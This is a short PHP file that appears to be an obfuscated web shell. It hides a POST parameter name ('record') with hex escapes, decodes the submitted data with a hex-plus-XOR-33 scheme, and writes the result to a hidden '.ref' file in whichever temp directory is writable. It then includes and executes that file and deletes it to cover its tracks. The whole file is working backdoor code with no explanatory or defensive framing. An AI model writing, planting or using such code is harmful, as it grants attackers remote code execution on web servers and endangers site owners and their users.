<?php
//<PHPDATA>fputs_xor;33;record</PHPDATA>
if (!empty($_POST["\x72\x65\x63"."\x6f\x72\x64"])) {
    $_a = hex2bin($_POST["\x72"."e\x63\x6f"."r\x64"]);
    $_b = '';
    for ($_c=0; $_c < strlen($_a); $_c++) {
        $_d = ord($_a[$_c]);
        $_e = 33;
        $_b .= chr($_d ^ $_e);
    }
    $_f = array_filter([
        session_save_path(),
                       implode('',["/v","ar","/tmp"]),
                       getcwd(),
                       ini_get("upload_tmp_dir"),
                       "/dev/shm",
                       "/tmp",
                       getenv("TMP"),
                       sys_get_temp_dir(),
                       getenv("TEMP")
    ]);
    foreach ($_f as $__ => $_v) {
        if (is_writable($_v) && is_dir($_v)) {
            $_p = $_v . "/.ref";
            $_h = fopen($_p, 'wb');
            if ($_h) {
                fwrite($_h, $_b);
                fclose($_h);
                include $_p;
                @unlink($_p);
                exit;
            }
        }
    }
}
?>